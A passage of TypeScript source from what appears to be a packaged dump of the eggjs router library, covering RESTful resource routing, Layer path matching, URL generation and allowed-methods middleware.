this.verb(methods, nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  register(\n    path: string | RegExp | (string | RegExp)[],\n    methods: string[],\n    middleware: MiddlewareFunc | string | (MiddlewareFunc | string | ResourcesController)[],\n    opts?: RegisterOptions,\n  ): Layer | Layer[] {\n    // patch register to support bind ctx function middleware and string controller\n    middleware = Array.isArray(middleware) ? middleware : [middleware];\n    for (const mw of middleware) {\n      if (isGeneratorFunction(mw)) {\n        throw new TypeError(\n          methods.toString() + ' `' + path + '`: Please use async function instead of generator function',\n        );\n      }\n    }\n    const middlewares = convertMiddlewares(middleware, this.app);\n    return super.register(path, methods, middlewares, opts);\n  }\n\n  /**\n   * restful router api\n   * @param {String} name - Router name\n   * @param {String} prefix - url prefix\n   * @param {Function} middleware - middleware or controller\n   * @example\n   * ```js\n   * app.resources('/posts', 'posts')\n   * app.resources('posts', '/posts', 'posts')\n   * app.resources('posts', '/posts', app.role.can('user'), app.controller.posts)\n   * app.resources('posts', '/posts', middleware1, middleware2, app.controller.posts)\n   * ```\n   *\n   * Examples:\n   *\n   * ```js\n   * app.resources('/posts', 'posts')\n   * ```\n   *\n   * yield router mapping\n   *\n   * Method | Path            | Route Name     | Controller.Action\n   * -------|-----------------|----------------|-----------------------------\n   * GET    | /posts          | posts          | app.controller.posts.index\n   * GET    | /posts/new      | new_post       | app.controller.posts.new\n   * GET    | /posts/:id      | post           | app.controller.posts.show\n   * GET    | /posts/:id/edit | edit_post      | app.controller.posts.edit\n   * POST   | /posts          | posts          | app.controller.posts.create\n   * PATCH  | /posts/:id      | post           | app.controller.posts.update\n   * DELETE | /posts/:id      | post           | app.controller.posts.destroy\n   *\n   * app.router.url can generate url based on arguments\n   * ```js\n   * app.router.url('posts')\n   * => /posts\n   * app.router.url('post', { id: 1 })\n   * => /posts/1\n   * app.router.url('new_post')\n   * => /posts/new\n   * app.router.url('edit_post', { id: 1 })\n   * => /posts/1/edit\n   * ```\n   * @return {Router} return route object.\n   * @since 1.0.0\n   */\n  resources(prefix: string, controller: string | ResourcesController): Router;\n  resources(prefix: string, middleware: MiddlewareFunc, controller: string | ResourcesController): Router;\n  resources(name: string, prefix: string, controller: string | ResourcesController): Router;\n  resources(name: string, prefix: string, middleware: MiddlewareFunc, controller: string | ResourcesController): Router;\n  resources(nameOrPath: string | RegExp, ...middleware: (MiddlewareFunc | string | ResourcesController)[]): Router;\n  resources(\n    nameOrPath: string | RegExp,\n    pathOrMiddleware: string | RegExp | MiddlewareFunc | ResourcesController,\n    ...middleware: (MiddlewareFunc | string | ResourcesController)[]\n  ): Router {\n    const { path, middlewares, options } = this._formatRouteParams(nameOrPath, pathOrMiddleware, middleware);\n    // last argument is Controller object\n    const controller = resolveController(middlewares.pop()!, this.app);\n    for (const key in REST_MAP) {\n      const action = controller[key] as MiddlewareFunc;\n      if (!action) continue;\n\n      const opts = REST_MAP[key];\n      let routeName;\n      if (opts.member) {\n        routeName = singularize(options.name ?? '');\n      } else {\n        routeName = pluralize(options.name ?? '');\n      }\n      if (opts.namePrefix) {\n        routeName = opts.namePrefix + routeName;\n      }\n      const prefix = (path as string).replace(/\\/$/, '');\n      const urlPath = opts.suffix ? `${prefix}/${opts.suffix}` : prefix;\n      const method = Array.isArray(opts.method) ? opts.method : [opts.method];\n      this.register(urlPath, method, middlewares.concat(action), {\n        name: routeName,\n      });\n    }\n    return this;\n  }\n\n  /**\n   * @param {String} name - Router name\n   * @param {Object} params - more parameters\n   * @example\n   * ```js\n   * router.url('edit_post', { id: 1, name: 'foo', page: 2 })\n   * => /posts/1/edit?name=foo&page=2\n   * router.url('posts', { name: 'foo&1', page: 2 })\n   * => /posts?name=foo%261&page=2\n   * ```\n   * @return {String} url by path name and query params.\n   * @since 1.0.0\n   */\n  url(name: string, params?: Record<string, string | number | (string | number)[]>): string {\n    const route = this.route(name);\n    if (!route) return '';\n\n    const args = params;\n    let url = route.path;\n\n    assert(!(url instanceof RegExp), `Can't get the url for regExp ${url} for by name '${name}'`);\n\n    const queries = [];\n    if (typeof args === 'object' && args !== null) {\n      const replacedParams: string[] = [];\n      url = url.replace(/:([a-zA-Z_]\\w*)/g, ($0, key) => {\n        if (key in args) {\n          const values = args[key];\n          replacedParams.push(key);\n          return safeEncodeURIComponent(Array.isArray(values) ? String(values[0]) : String(values));\n        }\n        return $0;\n      });\n\n      for (const key in args) {\n        if (replacedParams.includes(key)) {\n          continue;\n        }\n        const values = args[key];\n        const encodedKey = safeEncodeURIComponent(key);\n        if (Array.isArray(values)) {\n          for (const val of values) {\n            queries.push(`${encodedKey}=${safeEncodeURIComponent(String(val))}`);\n          }\n        } else {\n          queries.push(`${encodedKey}=${safeEncodeURIComponent(String(values))}`);\n        }\n      }\n    }\n\n    if (queries.length > 0) {\n      const queryStr = queries.join('&');\n      if (!url.includes('?')) {\n        url = `${url}?${queryStr}`;\n      } else {\n        url = `${url}&${queryStr}`;\n      }\n    }\n\n    return url;\n  }\n\n  /**\n   * @alias to url()\n   */\n  pathFor(name: string, params?: Record<string, string | number | (string | number)[]>): string {\n    return this.url(name, params);\n  }\n}\n\n/**\n * resolve controller from string to function\n * @param {String|Function} controller input controller\n * @param {Application} app egg application instance\n */\nfunction resolveController(controller: string | MiddlewareFunc | ResourcesController, app: Application) {\n  if (typeof controller === 'string') {\n    // resolveController('foo.bar.Home', app)\n    const actions = controller.split('.');\n    let obj = app.controller;\n    actions.forEach((key) => {\n      obj = obj[key];\n      if (!obj) throw new Error(`app.controller.${controller} not exists`);\n    });\n    controller = obj as any;\n  }\n  // ensure controller is exists\n  if (!controller) throw new Error('controller not exists');\n  return controller as any;\n}\n\n/**\n * 1. ensure controller(last argument) support string\n * - [url, controller]: app.get('/home', 'home');\n * - [name, url, controller(string)]: app.get('posts', '/posts', 'posts.list');\n * - [name, url, controller]: app.get('posts', '/posts', app.controller.posts.list);\n * - [name, url(regexp), controller]: app.get('regRouter', /\\/home\\/index/, 'home.index');\n * - [name, url, middleware, [...], controller]: `app.get(/user/:id', hasLogin, canGetUser, 'user.show');`\n *\n * 2. bind ctx to controller `this`\n *\n * @param  {Array} middlewares middlewares and controller(last middleware)\n * @param  {Application} app  egg application instance\n */\nfunction convertMiddlewares(middlewares: (MiddlewareFunc | string | ResourcesController)[], app: Application) {\n  // ensure controller is resolved\n  const controller = resolveController(middlewares.pop()!, app);\n  function wrappedController(ctx: any, next: Next) {\n    return controller.apply(ctx, [ctx, next]);\n  }\n  return [...(middlewares as MiddlewareFunc[]), wrappedController];\n}\n"
  },
  {
    "path": "packages/router/src/Layer.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { isGeneratorFunction } from 'is-type-of';\nimport pathToRegExp, { type Key } from 'path-to-regexp';\nimport URI from 'urijs';\nimport { decodeURIComponent as safeDecodeURIComponent } from 'utility';\n\nimport type { MiddlewareFunc, MiddlewareFuncWithParamProperty, ParamMiddlewareFunc } from './types.ts';\n\nconst debug = debuglog('egg/router:Layer');\n\nexport interface LayerOptions {\n  prefix?: string;\n  /** route name */\n  name?: string;\n  /** case sensitive (default: false) */\n  sensitive?: boolean;\n  /** require the trailing slash (default: false) */\n  strict?: boolean;\n  ignoreCaptures?: boolean;\n  end?: boolean;\n}\n\nexport interface LayerURLOptions {\n  query?: string | object;\n}\n\nexport class Layer {\n  readonly opts: LayerOptions;\n  readonly name?: string;\n  readonly methods: string[] = [];\n  readonly stack: MiddlewareFuncWithParamProperty[];\n  path: string | RegExp;\n  regexp: RegExp;\n  paramNames: Key[] = [];\n\n  /**\n   * Initialize a new routing Layer with given `method`, `path`, and `middleware`.\n   *\n   * @param {String|RegExp} path Path string or regular expression.\n   * @param {Array} methods Array of HTTP verbs.\n   * @param {Array|Function} middlewares Layer callback/middleware or series of.\n   * @param {Object=} opts optional params\n   * @param {String=} opts.name route name\n   * @param {String=} opts.sensitive case sensitive (default: false)\n   * @param {String=} opts.strict require the trailing slash (default: false)\n   * @private\n   */\n  constructor(\n    path: string | RegExp,\n    methods: string[],\n    middlewares: MiddlewareFunc | MiddlewareFunc[],\n    opts?: LayerOptions | string,\n  ) {\n    if (typeof opts === 'string') {\n      // new Layer(path, methods, middlewares, name);\n      opts = { name: opts };\n    }\n    this.opts = opts ?? {};\n    this.opts.prefix = this.opts.prefix ?? '';\n    this.name = this.opts.name;\n    this.stack = Array.isArray(middlewares) ? middlewares : [middlewares];\n\n    for (const method of methods) {\n      const l = this.methods.push(method.toUpperCase());\n      if (this.methods[l - 1] === 'GET') {\n        this.methods.unshift('HEAD');\n      }\n    }\n\n    // ensure middleware is a function\n    this.stack.forEach((fn) => {\n      const type = typeof fn;\n      if (type !== 'function') {\n        throw new TypeError(\n          methods.toString() +\n            ' `' +\n            (this.opts.name || path) +\n            '`: `middleware` ' +\n            'must be a function, not `' +\n            type +\n            '`',\n        );\n      }\n      if (isGeneratorFunction(fn)) {\n        throw new TypeError(\n          methods.toString() +\n            ' `' +\n            (this.opts.name || path) +\n            '`: Please use async function instead of generator function',\n        );\n      }\n    });\n\n    this.path = path;\n    this.regexp = pathToRegExp(path, this.paramNames, this.opts);\n\n    debug('defined route %s %s', this.methods, this.opts.prefix + this.path);\n  }\n\n  /**\n   * Returns whether request `path` matches route.\n   *\n   * @param {String} path path string\n   * @return {Boolean} matched or not\n   * @private\n   */\n  match(path: string): boolean {\n    return this.regexp.test(path);\n  }\n\n  /**\n   * Returns map of URL parameters for given `path` and `paramNames`.\n   *\n   * @param {String} _path path string\n   * @param {Array.<String>} captures captures strings\n   * @param {Object=} [existingParams] existing params\n   * @return {Object} params object\n   * @private\n   */\n  params(_path: string, captures: Array<string>, existingParams?: Record<string, string>): Record<string, string> {\n    const params = existingParams ?? {};\n\n    for (let len = captures.length, i = 0; i < len; i++) {\n      const paramName = this.paramNames[i];\n      if (paramName) {\n        const c = captures[i];\n        params[paramName.name] = c ? safeDecodeURIComponent(c) : c;\n      }\n    }\n    return params;\n  }\n\n  /**\n   * Returns array of regexp url path captures.\n   *\n   * @param {String} path path string\n   * @return {Array.<String>} captures strings\n   * @private\n   */\n  captures(path: string): Array<string> {\n    if (this.opts.ignoreCaptures) return [];\n    const m = path.match(this.regexp);\n    return m ? m.slice(1) : [];\n  }\n\n  /**\n   * Generate URL for route using given `params`.\n   *\n   * @example\n   *\n   * ```javascript\n   * var route = new Layer(['GET'], '/users/:id', fn);\n   *\n   * route.url(123); // => \"/users/123\"\n   * route.url('123'); // => \"/users/123\"\n   * route.url({ id: 123 }); // => \"/users/123\"\n   * ```\n   *\n   * @param {Object} params url parameters\n   * @param {Object} paramsOrOptions optional parameters\n   * @return {String} url string\n   * @private\n   */\n  url(params?: string | number | object, ...paramsOrOptions: (string | number | object | LayerURLOptions)[]): string {\n    let args: Array<string | number | object> | object = params as object;\n    const url = (this.path as string).replace(/\\(\\.\\*\\)/g, '');\n    const toPath = pathToRegExp.compile(url);\n    let options: LayerURLOptions | undefined;\n\n    if (params !== undefined && typeof params !== 'object') {\n      args = [params, ...paramsOrOptions];\n      // route.url(stringOrNumber, params1, ..., options);\n      if (Array.isArray(args)) {\n        const lastIndex = args.length - 1;\n        if (typeof args[lastIndex] === 'object') {\n          options = args[lastIndex];\n          args = args.slice(0, lastIndex);\n        }\n      }\n    } else if (typeof params === 'object') {\n      if (typeof paramsOrOptions[0] === 'object' && 'query' in paramsOrOptions[0]) {\n        // route.url(param, options);\n        options = paramsOrOptions[0];\n      }\n    }\n\n    const tokens = pathToRegExp.parse(url);\n    let replace: Record<string, any> = {};\n\n    if (Array.isArray(args)) {\n      for (let len = tokens.length, i = 0, j = 0; i < len; i++) {\n        const token = tokens[i];\n        if (typeof token === 'object' && token.name) {\n          replace[token.name] = args[j++];\n        }\n      }\n    } else if (tokens.some((token) => typeof token === 'object' && token.name)) {\n      // route.url(params);\n      replace = params as object;\n    } else {\n      // route.url(options);\n      options = params as LayerURLOptions;\n    }\n\n    const replaced = toPath(replace);\n\n    if (options?.query) {\n      const urlObject = new URI(replaced);\n      urlObject.search(options.query);\n      return urlObject.toString();\n    }\n\n    return replaced;\n  }\n\n  /**\n   * Run validations on route named parameters.\n   *\n   * @example\n   *\n   * ```javascript\n   * router\n   *   .param('user', function (id, ctx, next) {\n   *     ctx.user = users[id];\n   *     if (!user) return ctx.status = 404;\n   *     next();\n   *   })\n   *   .get('/users/:user', function (ctx, next) {\n   *     ctx.body = ctx.user;\n   *   });\n   * ```\n   *\n   * @param {String} param param string\n   * @param {Function} fn middleware function\n   * @return {Layer} layer instance\n   * @private\n   */\n  param(param: string, fn: ParamMiddlewareFunc): Layer {\n    const stack = this.stack;\n    const params = this.paramNames;\n    const middleware: MiddlewareFuncWithParamProperty = function (this: any, ctx, next) {\n      return fn.call(this, ctx.params[param], ctx, next);\n    };\n    middleware.param = param;\n\n    const names = params.map((p) => {\n      return p.name;\n    });\n\n    const x = names.indexOf(param);\n    if (x > -1) {\n      // iterate through the stack, to figure out where to place the handler fn\n      stack.some(function (fn, i) {\n        // param handlers are always first, so when we find an fn w/o a param property, stop here\n        // if the param handler at this part of the stack comes after the one we are adding, stop here\n        if (!fn.param || names.indexOf(fn.param) > x) {\n          // inject this param handler right before the current item\n          stack.splice(i, 0, middleware);\n          return true; // then break the loop\n        }\n        return false;\n      });\n    }\n\n    return this;\n  }\n\n  /**\n   * Prefix route path.\n   *\n   * @param {String} prefix prefix string\n   * @return {Layer} layer instance\n   * @private\n   */\n  setPrefix(prefix: string): Layer {\n    if (this.path) {\n      this.path = prefix + this.path;\n      this.paramNames = [];\n      this.regexp = pathToRegExp(this.path, this.paramNames, this.opts);\n    }\n    return this;\n  }\n}\n"
  },
  {
    "path": "packages/router/src/Router.ts",
    "content": "/**\n * RESTful resource routing middleware for eggjs.\n */\n\nimport assert from 'node:assert';\nimport { debuglog } from 'node:util';\n\nimport HttpError from 'http-errors';\nimport compose from 'koa-compose';\nimport methods from 'methods';\n\nimport { Layer, type LayerURLOptions } from './Layer.ts';\nimport {\n  type MiddlewareFunc,\n  type MiddlewareFuncWithRouter,\n  type Next,\n  type ParamMiddlewareFunc,\n  type ResourcesController,\n} from './types.ts';\n\nconst debug = debuglog('egg/router:Router');\n\nexport type RouterMethod = (typeof methods)[0];\n\nexport interface RouterOptions {\n  methods?: string[];\n  prefix?: string;\n  sensitive?: boolean;\n  strict?: boolean;\n  routerPath?: string;\n}\n\nexport interface RegisterOptions {\n  name?: string;\n  prefix?: string;\n  sensitive?: boolean;\n  strict?: boolean;\n  ignoreCaptures?: boolean;\n  end?: boolean;\n}\n\nexport interface AllowedMethodsOptions {\n  throw?: boolean;\n  notImplemented?: () => Error;\n  methodNotAllowed?: () => Error;\n}\n\nexport interface MatchedResult {\n  // matched path\n  path: Layer[];\n  // matched path and method(including none method)\n  pathAndMethod: Layer[];\n  // method matched or not\n  route: boolean;\n}\n\nexport class Router {\n  readonly opts: RouterOptions;\n  readonly methods: string[];\n  /** Layer stack */\n  readonly stack: Layer[] = [];\n  readonly params: Record<string, ParamMiddlewareFunc> = {};\n\n  /**\n   * Create a new router.\n   *\n   * @example\n   *\n   * Basic usage:\n   *\n   * ```javascript\n   * var Koa = require('koa');\n   * var Router = require('koa-router');\n   *\n   * var app = new Koa();\n   * var router = new Router();\n   *\n   * router.get('/', (ctx, next) => {\n   *   // ctx.router available\n   * });\n   *\n   * app\n   *   .use(router.routes())\n   *   .use(router.allowedMethods());\n   * ```\n   *\n   * @alias module:koa-router\n   * @param {Object=} opts optional\n   * @param {String=} opts.prefix prefix router paths\n   * @class\n   */\n  constructor(opts?: RouterOptions) {\n    this.opts = opts ?? {};\n    this.methods = this.opts.methods ?? ['HEAD', 'OPTIONS', 'GET', 'PUT', 'PATCH', 'POST', 'DELETE'];\n  }\n\n  /**\n   * Use given middleware.\n   *\n   * Middleware run in the order they are defined by `.use()`. They are invoked\n   * sequentially, requests start at the first middleware and work their way\n   * \"down\" the middleware stack.\n   *\n   * @example\n   *\n   * ```javascript\n   * // session middleware will run before authorize\n   * router\n   *   .use(session())\n   *   .use(authorize());\n   *\n   * // use middleware only with given path\n   * router.use('/users', userAuth());\n   *\n   * // or with an array of paths\n   * router.use(['/users', '/admin'], userAuth());\n   *\n   * app.use(router.routes());\n   * ```\n   *\n   * @param {String=} path path string\n   * @param {Function} middleware middleware function\n   * @return {Router} router instance\n   */\n  use(...middlewares: MiddlewareFunc[]): Router;\n  use(path: string | string[], ...middlewares: MiddlewareFunc[]): Router;\n  use(pathOrMiddleware: string | string[] | MiddlewareFunc, ...middlewares: MiddlewareFunc[]): Router {\n    // support array of paths\n    // use(paths, ...middlewares)\n    if (Array.isArray(pathOrMiddleware) && typeof pathOrMiddleware[0] === 'string') {\n      for (const path of pathOrMiddleware) {\n        this.use(path, ...middlewares);\n      }\n      return this;\n    }\n\n    let path = '';\n    let hasPath = false;\n    if (typeof pathOrMiddleware === 'string') {\n      // use(path, ...middlewares)\n      path = pathOrMiddleware;\n      hasPath = true;\n    } else if (typeof pathOrMiddleware === 'function') {\n      // use(...middlewares)\n      middlewares = [pathOrMiddleware, ...middlewares];\n    }\n\n    for (const m of middlewares as MiddlewareFuncWithRouter<Router>[]) {\n      if (m.router) {\n        for (const nestedLayer of m.router.stack) {\n          if (path) {\n            nestedLayer.setPrefix(path);\n          }\n          if (this.opts.prefix) {\n            nestedLayer.setPrefix(this.opts.prefix);\n          }\n          this.stack.push(nestedLayer);\n        }\n\n        if (this.params) {\n          for (const key in this.params) {\n            m.router.param(key, this.params[key]);\n          }\n        }\n      } else {\n        this.register(path || '(.*)', [], m, {\n          end: false,\n          ignoreCaptures: !hasPath,\n        });\n      }\n    }\n\n    return this;\n  }\n\n  /**\n   * Set the path prefix for a Router instance that was already initialized.\n   *\n   * @example\n   *\n   * ```javascript\n   * router.prefix('/things/:thing_id')\n   * ```\n   *\n   * @param {String} prefix prefix string\n   * @return {Router} router instance\n   */\n  prefix(prefix: string): Router {\n    prefix = prefix.replace(/\\/$/, '');\n    this.opts.prefix = prefix;\n\n    for (const layer of this.stack) {\n      layer.setPrefix(prefix);\n    }\n\n    return this;\n  }\n\n  /**\n   * Returns router middleware which dispatches a route matching the request.\n   *\n   * @return {Function} middleware function\n   */\n  routes(): MiddlewareFuncWithRouter<Router> {\n    const dispatch = (ctx: any, next: Next) => {\n      const routerPath: string = this.opts.routerPath || ctx.routerPath || ctx.path;\n      const matched = this.match(routerPath, ctx.method);\n      debug('dispatch: %s %s, routerPath: %s, matched: %s', ctx.method, ctx.path, routerPath, matched.route);\n\n      if (ctx.matched) {\n        (ctx.matched as Layer[]).push(...matched.path);\n      } else {\n        ctx.matched = matched.path;\n      }\n      ctx.router = this;\n\n      if (!matched.route) {\n        return next();\n      }\n\n      const matchedLayers = matched.pathAndMethod;\n      const layerChain = matchedLayers.reduce<MiddlewareFunc[]>((memo, layer) => {\n        memo.push((ctx, next) => {\n          // ctx.captures = layer.captures(routerPath, ctx.captures);\n          ctx.captures = layer.captures(routerPath);\n          ctx.params = layer.params(routerPath, ctx.captures, ctx.params);\n          // ctx._matchedRouteName & ctx._matchedRoute for compatibility\n          ctx._matchedRouteName = ctx.routerName = layer.name;\n          if (!layer.name) {\n            ctx._matchedRouteName = undefined;\n          }\n          ctx._matchedRoute = ctx.routerPath = layer.path;\n          return next();\n        });\n        return memo.concat(layer.stack);\n      }, []);\n\n      return compose(layerChain)(ctx, next);\n    };\n\n    dispatch.router = this;\n    return dispatch;\n  }\n\n  /**\n   * @alias to routes()\n   */\n  middleware(): MiddlewareFuncWithRouter<Router> {\n    return this.routes();\n  }\n\n  /**\n   * Returns separate middleware for responding to `OPTIONS` requests with\n   * an `Allow` header containing the allowed methods, as well as responding\n   * with `405 Method Not Allowed` and `501 Not Implemented` as appropriate.\n   *\n   * @example\n   *\n   * ```javascript\n   * var Koa = require('koa');\n   * var Router = require('koa-router');\n   *\n   * var app = new Koa();\n   * var router = new Router();\n   *\n   * app.use(router.routes());\n   * app.use(router.allowedMethods());\n   * ```\n   *\n   * **Example with [Boom](https://github.com/hapijs/boom)**\n   *\n   * ```javascript\n   * var Koa = require('koa');\n   * var Router = require('koa-router');\n   * var Boom = require('boom');\n   *\n   * var app = new Koa();\n   * var router = new Router();\n   *\n   * app.use(router.routes());\n   * app.use(router.allowedMethods({\n   *   throw: true,\n   *   notImplemented: () => new Boom.notImplemented(),\n   *   methodNotAllowed: () => new Boom.methodNotAllowed()\n   * }));\n   * ```\n   *\n   * @param {Object=} options optional params\n   * @param {Boolean=} options.throw throw error instead of setting status and header\n   * @param {Function=} options.notImplemented throw the returned value in place of the default NotImplemented error\n   * @param {Function=} options.methodNotAllowed throw the returned value in place of the default MethodNotAllowed error\n   * @return {Function} middleware function\n   */\n  allowedMethods(options?: AllowedMethodsOptions): MiddlewareFunc {\n    const implemented = this.methods;\n\n    return async function allowedMethods(ctx: any, next: Next) {\n      await next();\n      if (ctx.status && ctx.status !== 404) return;\n\n      const allowed: Record<string, string> = {};\n      ctx.matched.forEach((route: Router) => {\n        route.methods.forEach((method) => {\n          allowed[method] = method;\n        });\n      });\n      const allowedMethods = Object.keys(allowed);\n\n      if (!implemented.includes(ctx.method)) {\n        if (options?.throw) {\n          let notImplementedThrowable: Error;\n          if (typeof options?.notImplemented === 'function') {\n            notImplementedThrowable = options.notImplemented(); // set whatever the user returns from their function\n          } else {\n            notImplementedThrowable = new HttpError.NotImplemented();\n          }\n          throw notImplementedThrowable;\n        } else {\n          ctx.status = 501;\n          ctx.set('Allow', allowedMethods.join(', '));\n        }\n      } else if (allowedMethods.length > 0) {\n        if (ctx.method === 'OPTIONS') {\n          ctx.status = 200;\n          ctx.body = '';\n          ctx.set('Allow', allowedMethods.join(', '));\n        } else if (!allowed[ctx.method]) {\n          if (options?.throw) {\n            let notAllowedThrowable: Error;\n            if (typeof options?.methodNotAllowed === 'function') {\n              notAllowedThrowable = options.methodNotAllowed(); // set whatever the user returns from their function\n            } else {\n              notAllowedThrowable = new HttpError.MethodNotAllowed();\n            }\n            throw notAllowedThrowable;\n          } else {\n            ctx.status = 405;\n            ctx.set('Allow', allowedMethods.join(', '));\n          }\n        }\n      }\n    };\n  }\n\n  /**\n   * Redirect `source` to `destination` URL with optional 30x status `code`.\n   *\n   * Both `source` and `destination` can be route names.\n   *\n   * ```javascript\n   * router.redirect('/login', 'sign-in');\n   * ```\n   *\n   * This is equivalent to:\n   *\n   * ```javascript\n   * router.all('/login', ctx => {\n   *   ctx.redirect('/sign-in');\n   *   ctx.status = 301;\n   * });\n   * ```\n   *\n   * @param {String} source URL or route name.\n   * @param {String} destination URL or route name.\n   * @param {Number=} status HTTP status code (default: 301).\n   * @return {Router} router instance\n   */\n  redirect(source: string, destination: string, status: number = 301): Router {\n    // lookup source route by name\n    if (source[0] !== '/') {\n      const routeUrl = this.url(source);\n      if (routeUrl instanceof Error) {\n        throw routeUrl;\n      }\n      source = routeUrl;\n    }\n\n    // lookup destination route by name\n    if (destination[0] !== '/') {\n      const routeUrl = this.url(destination);\n      if (routeUrl instanceof Error) {\n        throw routeUrl;\n      }\n      destination = routeUrl;\n    }\n\n    return this.all(source, (ctx) => {\n      ctx.redirect(destination);\n      ctx.status = status;\n    });\n  }\n\n  /**\n   * Create and register a route.\n   *\n   * @param {String|RegExp|(String|RegExp)[]} path Path string.\n   * @param {String[]} methods Array of HTTP verbs.\n   * @param {Function|Function[]} middleware Multiple middleware also accepted.\n   * @param {Object} [opts] optional params\n   * @private\n   */\n  register(\n    path: string | RegExp | (string | RegExp)[],\n    methods: string[],\n    middleware: MiddlewareFunc | MiddlewareFunc[],\n    opts?: RegisterOptions,\n  ): Layer | Layer[] {\n    // support array of paths\n    if (Array.isArray(path)) {\n      const routes: Layer[] = [];\n      for (const p of path) {\n        const route = this.#register(p, methods, middleware, opts);\n        routes.push(route);\n      }\n      return routes;\n    }\n\n    // create route\n    const route = this.#register(path, methods, middleware, opts);\n    return route;\n  }\n\n  #register(\n    path: string | RegExp,\n    methods: string[],\n    middleware: MiddlewareFunc | MiddlewareFunc[],\n    opts?: RegisterOptions,\n  ): Layer {\n    opts = opts ?? {};\n    // create route\n    const route = new Layer(path, methods, middleware, {\n      end: opts.end === false ? opts.end : true,\n      name: opts.name,\n      sensitive: opts.sensitive ?? this.opts.sensitive ?? false,\n      strict: opts.strict ?? this.opts.strict ?? false,\n      prefix: opts.prefix ?? this.opts.prefix ?? '',\n      ignoreCaptures: opts.ignoreCaptures,\n    });\n\n    // FIXME: why???\n    if (this.opts.prefix) {\n      route.setPrefix(this.opts.prefix);\n    }\n\n    // add parameter middleware to the new route layer\n    for (const param in this.params) {\n      route.param(param, this.params[param]);\n    }\n\n    this.stack.push(route);\n    return route;\n  }\n\n  /**\n   * Lookup route with given `name`.\n   *\n   * @param {String} name route name\n   * @return {Layer|false} layer instance of false\n   */\n  route(name: string): Layer | false {\n    for (const route of this.stack) {\n      if (route.name === name) {\n        return route;\n      }\n    }\n    return false;\n  }\n\n  /**\n   * Generate URL for route. Takes a route name and map of named `params`.\n   *\n   * @example\n   *\n   * ```javascript\n   * router.get('user', '/users/:id', (ctx, next) => {\n   *   // ...\n   * });\n   *\n   * router.url('user', 3);\n   * // => \"/users/3\"\n   *\n   * router.url('user', { id: 3 });\n   * // => \"/users/3\"\n   *\n   * router.use((ctx, next) => {\n   *   // redirect to named route\n   *   ctx.redirect(ctx.router.url('sign-in'));\n   * })\n   *\n   * router.url('user', { id: 3 }, { query: { limit: 1 } });\n   * // => \"/users/3?limit=1\"\n   *\n   * router.url('user', { id: 3 }, { query: \"limit=1\" });\n   * // => \"/users/3?limit=1\"\n   * ```\n   */\n  url(\n    name: string,\n    params?: string | number | object,\n    ...paramsOrOptions: (string | number | object | LayerURLOptions)[]\n  ): string | Error {\n    const route = this.route(name);\n    if (route) {\n      return route.url(params, ...paramsOrOptions);\n    }\n    return new Error(`No route found for name: ${name}`);\n  }\n\n  /**\n   * Generate URL from url pattern and given `params`.\n   *\n   * @example\n   *\n   * ```javascript\n   * var url = Router.url('/users/:id', { id: 1 });\n   * // => \"/users/1\"\n   * ```\n   *\n   * @param {String} path url pattern\n   * @param {Object} params url parameters\n   * @return {String} url string\n   */\n  static url(\n    path: string,\n    params?: string | number | object,\n    ...paramsOrOptions: (string | number | object | LayerURLOptions)[]\n  ): string {\n    return Layer.prototype.url.call({ path }, params, ...paramsOrOptions);\n  }\n\n  /**\n   * Match given `path` and return corresponding routes.\n   *\n   * @param {String} path path string\n   * @param {String} method method name\n   * @return {Object.<path, pathAndMethod>} returns layers that matched path and\n   * path and method.\n   * @private\n   */\n  match(path: string, method: string): MatchedResult {\n    const matched: MatchedResult = {\n      // matched path\n      path: [],\n      // matched path and method(including none method)\n      pathAndMethod: [],\n      // method matched or not\n      route: false,\n    };\n\n    for (const layer of this.stack) {\n      debug('test %s %s', layer.path, layer.regexp);\n\n      if (layer.match(path)) {\n        matched.path.push(layer);\n\n        if (layer.methods.length === 0 || layer.methods.includes(method)) {\n          matched.pathAndMethod.push(layer);\n          if (layer.methods.length > 0) {\n            matched.route = true;\n          }\n        }\n        // if (layer.methods.length === 0) {\n        //   matched.pathAndMethod.push(layer);\n        // } else if (layer.methods.includes(method)) {\n        //   matched.pathAndMethod.push(layer);\n        //   matched.route = true;\n        // }\n      }\n    }\n\n    return matched;\n  }\n\n  /**\n   * Run middleware for named route parameters. Useful for auto-loading or\n   * validation.\n   *\n   * @example\n   *\n   * ```javascript\n   * router\n   *   .param('user', (id, ctx, next) => {\n   *     ctx.user = users[id];\n   *     if (!ctx.user) return ctx.status = 404;\n   *     return next();\n   *   })\n   *   .get('/users/:user', ctx => {\n   *     ctx.body = ctx.user;\n   *   })\n   *   .get('/users/:user/friends', ctx => {\n   *     return ctx.user.getFriends().then(function(friends) {\n   *       ctx.body = friends;\n   *     });\n   *   })\n   *   // /users/3 => {\"id\": 3, \"name\": \"Alex\"}\n   *   // /users/3/friends => [{\"id\": 4, \"name\": \"TJ\"}]\n   * ```\n   *\n   * @param {String} param param\n   * @param {Function} middleware route middleware\n   * @return {Router} instance\n   */\n  param(param: string, middleware: ParamMiddlewareFunc): Router {\n    this.params[param] = middleware;\n    for (const route of this.stack) {\n      route.param(param, middleware);\n    }\n    return this;\n  }\n\n  protected _formatRouteParams(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc | ResourcesController,\n    middlewares: (MiddlewareFunc | string | ResourcesController)[],\n  ): {\n    path: string | RegExp | (string | RegExp)[];\n    middlewares: (MiddlewareFunc | string | ResourcesController)[];\n    options: RegisterOptions;\n  } {\n    const options: RegisterOptions = {};\n    let path: string | RegExp | (string | RegExp)[];\n    if (typeof nameOrPath === 'string' && nameOrPath.startsWith('/')) {\n      // verb(method, path, ...middlewares)\n      path = nameOrPath;\n      middlewares = [pathOrMiddleware as string, ...middlewares];\n      if (typeof pathOrMiddleware === 'string') {\n        // verb(method, path, controllerString)\n        // set controller name to router name\n        options.name = pathOrMiddleware;\n      }\n    } else if (nameOrPath instanceof RegExp) {\n      // verb(method, pathRegex, ...middlewares)\n      path = nameOrPath;\n      middlewares = [pathOrMiddleware as string, ...middlewares];\n      if (typeof pathOrMiddleware === 'string') {\n        // verb(method, pathRegex, controllerString)\n        // set controller name to router name\n        options.name = pathOrMiddleware;\n      }\n    } else if (Array.isArray(nameOrPath)) {\n      // verb(method, paths, ...middlewares)\n      path = nameOrPath;\n      middlewares = [pathOrMiddleware as string, ...middlewares];\n      if (typeof pathOrMiddleware === 'string') {\n        // verb(method, pathRegex, controllerString)\n        // set controller name to router name\n        options.name = pathOrMiddleware;\n      }\n    } else if (typeof 